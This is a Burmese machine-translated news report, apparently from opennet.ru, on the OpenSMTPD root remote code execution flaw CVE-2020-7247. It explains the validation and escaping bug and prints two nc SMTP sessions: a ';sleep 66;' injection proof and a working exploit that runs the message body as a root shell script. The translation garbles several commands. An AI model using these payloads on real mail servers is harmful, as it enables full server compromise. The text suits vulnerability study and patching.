Root အခွင့်ထူးများဖြင့် အဝေးထိန်းကုဒ်ကို လုပ်ဆောင်ခြင်းကို ခွင့်ပြုသော OpenSMTPD ရှိ အားနည်းချက်

OpenBSD ပရောဂျက်မှ ဖန်တီးထားသော မေးလ်ဆာဗာတွင် OpenSMTPD ဖော်ထုတ်ခဲ့သည်။ ဝေဖန်ပိုင်းခြားနိုင်သော အားနည်းချက် (CVE-2020-7247) သည် သင့်အား root အသုံးပြုသူအခွင့်အရေးဖြင့် ဆာဗာပေါ်တွင် shell command များကိုအဝေးမှ execute လုပ်ခွင့်ပြုသည်။ Qualys Security (ယခင် OpenSMTPD စာရင်းစစ်) မှ ပြန်လည်စစ်ဆေးမှုပြုလုပ်နေစဉ် အားနည်းချက်ကို ဖော်ထုတ်တွေ့ရှိခဲ့သည်။ ဆောင်ရွက်ခဲ့ပါသည်။ 2015 တွင်၊ အားနည်းချက်အသစ်သည် 2018 ခုနှစ် မေလကတည်းက ရှိနေပါသည်။) ပြဿနာ ဖယ်ထုတ်ထားသည်။ OpenSMTPD 6.6.2 ထွက်ရှိမှုတွင်။ အသုံးပြုသူအားလုံးကို အပ်ဒိတ်ကို ချက်ချင်းထည့်သွင်းရန် အကြံပြုလိုပါသည် (OpenBSD အတွက်၊ အဆိုပါ patch ကို syspatch မှတစ်ဆင့် ထည့်သွင်းနိုင်သည်)။

တိုက်ခိုက်မှုရွေးချယ်စရာ နှစ်ခုကို အဆိုပြုထားသည်။ ပထမရွေးချယ်မှုသည် မူရင်း OpenSMTPD ဖွဲ့စည်းမှုပုံစံတွင် အလုပ်လုပ်သည် (ဒေသခံ host မှ တောင်းဆိုမှုများကိုသာ လက်ခံသည်) နှင့် တိုက်ခိုက်သူသည် ဆာဗာရှိ ဒေသဆိုင်ရာ ကွန်ရက်အင်တာဖေ့စ် (loopback) ကို ဝင်ရောက်နိုင်သည့်အခါ (ဥပမာ၊ hosting စနစ်များ) တွင် ပြဿနာကို ပြည်တွင်း၌ အသုံးချရန် ခွင့်ပြုသည်။ . OpenSMTPD သည် ပြင်ပကွန်ရက်တောင်းဆိုမှုများကို လက်ခံရန် (ပြင်ပအဖွဲ့အစည်းမေးလ်ကို လက်ခံသည့် မေးလ်ဆာဗာ) ကို လက်ခံရန် စီစဉ်သည့်အခါ ဒုတိယရွေးချယ်မှု ဖြစ်ပေါ်လာသည်။ သုတေသီများသည် OpenBSD 6.6 တွင်ပါဝင်သော OpenSMTPD ဗားရှင်းနှင့် အခြားလည်ပတ်နိုင်သောစနစ်များအတွက် သယ်ဆောင်ရလွယ်ကူသောဗားရှင်းဖြင့် (Debian Testing တွင်လုပ်ဆောင်သည်) နှစ်ခုလုံးတွင် အောင်မြင်စွာလုပ်ဆောင်နိုင်သော exploit ၏ရှေ့ပြေးပုံစံကို သုတေသီများပြင်ဆင်ထားပါသည်။

smtp_mailaddr() လုပ်ဆောင်ချက်တွင် အမှားအယွင်းတစ်ခုကြောင့် ဖြစ်ရခြင်းဖြစ်ပြီး “MAIL FROM” နှင့် “RCPT TO” အကွက်များရှိ တန်ဖိုးများ၏ မှန်ကန်မှုကို စစ်ဆေးရန် ခေါ်ဆိုသူ/လက်ခံသူအား သတ်မှတ်ပေးကာ ဆက်သွယ်မှုအတွင်း ဖြတ်သန်းသွားပါသည်။ မေးလ်ဆာဗာနှင့်အတူ။ “@” သင်္ကေတ ရှေ့မှာ ပါလာတဲ့ အီးမေးလ်လိပ်စာရဲ့ အစိတ်အပိုင်းကို စစ်ဆေးဖို့၊ smtp_mailaddr() လုပ်ဆောင်ချက်ကို ခေါ်ပါတယ်။
RFC 5322 လိုအပ်ချက်အရ "!#$%&'*/?^`{|}~+-=_" (MAILADDR_ALLOWED) စာလုံးများကို လက်ခံသည့် valid_localpart()၊

ဤအခြေအနေတွင်၊ “!#$%&'*?`{|}~” (MAILADDR_ESCAPE) စာလုံးများကိုသာ အစားထိုးသည့် mda_expand_token() လုပ်ဆောင်ချက်တွင် string ၏ တိုက်ရိုက်ထွက်ပြေးခြင်းကို လုပ်ဆောင်ပါသည်။ နောက်ပိုင်းတွင်၊ mda_expand_token() တွင် ပြင်ဆင်ထားသည့် လိုင်းအား 'execle("/bin/sh", "/bin/sh", "-c", mda_command,...' ဟူသော command ကို အသုံးပြု၍ ပို့ဆောင်ပေးသည့် အေးဂျင့် (MDA) ကို ခေါ်သောအခါ အသုံးပြုပါသည်။ . /bin/sh မှတဆင့် mbox သို့ စာလုံးများထည့်ပါက၊ “/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}” ဟူသော လိုင်းသည် “%” ကို စတင်လိုက်သည်၊ {mbox.from}” တွင် "MAIL FROM" ဘောင်မှ လွတ်သွားသော ဒေတာ ပါဝင်သည်။

အားနည်းချက်၏ အနှစ်သာရမှာ smtp_mailaddr() တွင် ယုတ္တိနည်းဖြင့် အမှားအယွင်းရှိနေသောကြောင့်၊ ၎င်းမှာ ဗလာဒိုမိန်းတစ်ခုကို အီးမေးလ်သို့ ပေးပို့ပါက၊ “@” မတိုင်မီ လိပ်စာ၏အစိတ်အပိုင်းတွင် မမှန်ကန်သော စာလုံးများပါနေသော်လည်း၊ လုပ်ဆောင်ချက်သည် အောင်မြင်သော အတည်ပြုကုဒ်ကို ပြန်ပို့ပေးပါသည်။ . ထို့အပြင်၊ စာကြောင်းတစ်ခုကို ပြင်ဆင်သည့်အခါ၊ mda_expand_token() လုပ်ဆောင်ချက်သည် ဖြစ်နိုင်သည့် shell အထူးဇာတ်ကောင်များအားလုံးကို မလွတ်ကင်းသော်လည်း အီးမေးလ်လိပ်စာတွင် ခွင့်ပြုထားသော အထူးစာလုံးများသာဖြစ်သည်။ ထို့ကြောင့် သင့်အမိန့်ကို လုပ်ဆောင်ရန် အီးမေးလ်၏ ဒေသန္တရအစိတ်အပိုင်းတွင် “;” သင်္ကေတကို အသုံးပြုရန် လုံလောက်ပါသည်။ MAILADDR_ESCAPE သတ်မှတ်မှုတွင် မပါဝင်ဘဲ လွတ်ကင်းသော နေရာနှင့်၊ ဥပမာအားဖြင့်:

$nc 127.0.0.1 ၂၅

HELO professor.falken
ထံမှမေးလ်-<;sleep 66;>
RCPT သို့-
အချက်အလက်
.
ထွက်သည်

ဤစက်ရှင်ပြီးနောက်၊ OpenSMTPD၊ mbox သို့ပေးပို့သောအခါ၊ shell မှတဆင့် command ကိုစတင်လိမ့်မည်။

/usr/libexec/mail.local -f ;sleep 66; အမြစ်

တစ်ချိန်တည်းမှာပင်၊ လိပ်စာ၏ဒေသခံအစိတ်အပိုင်းသည် စာလုံး 64 လုံးထက် မကျော်လွန်နိုင်သည့်အပြင် အထူးအက္ခရာ '$' နှင့် '|' တို့ကြောင့် တိုက်ခိုက်မှုဖြစ်နိုင်ချေများကို ကန့်သတ်ထားသည်။ ထွက်ပြေးသောအခါတွင် ":" ဖြင့် အစားထိုးသည်။ ဤကန့်သတ်ချက်ကို ကျော်ဖြတ်ရန်၊ ကျွန်ုပ်တို့သည် /usr/libexec/mail.local အဝင်စီးကြောင်းမှတဆင့် /usr/libexec/mail.local ကို run ပြီးနောက် စာလုံး၏ကိုယ်ထည်ကို ပို့သည်ဟူသောအချက်ကို အသုံးပြုပါသည်။ လိပ်စာကို စီမံခန့်ခွဲခြင်းဖြင့် သင်သည် sh command စကားပြန်ကိုသာ စတင်နိုင်ပြီး ညွှန်ကြားချက်အစုတစ်ခုအဖြစ် စာလုံးကိုယ်ထည်ကို အသုံးပြုနိုင်သည်။ ဝန်ဆောင်မှု SMTP ခေါင်းစီးများကို စာလုံးအစတွင် ညွှန်ပြထားသောကြောင့် ၎င်းတို့ကို ကျော်ရန် အကွက်တစ်ခုအတွင်း read command ကို အသုံးပြုရန် အကြံပြုအပ်ပါသည်။ အလုပ်လုပ်သော အမြတ်ထုတ်မှုသည် ဤကဲ့သို့ ဖြစ်သည်-

$nc 192.168.56.143 ၂၅

HELO professor.falken
MAIL မှ:<;0 1 2 3 4 5 6 7 8 9 abcd တွင် i အတွက် r;done;sh;exit 0;>
RCPT သို့-[အီးမေးလ်ကိုကာကွယ်ထားသည်]>
အချက်အလက်
#0
#1
...
#d
ငါအတွက် WOPR; လုပ်ပါ။
echo -n "($i)" && id || ချိုး
ပြီးပြီ > /root/x."`id -u`""$$"
.
ထွက်သည်

source: opennet.ru

မှတ်ချက် Add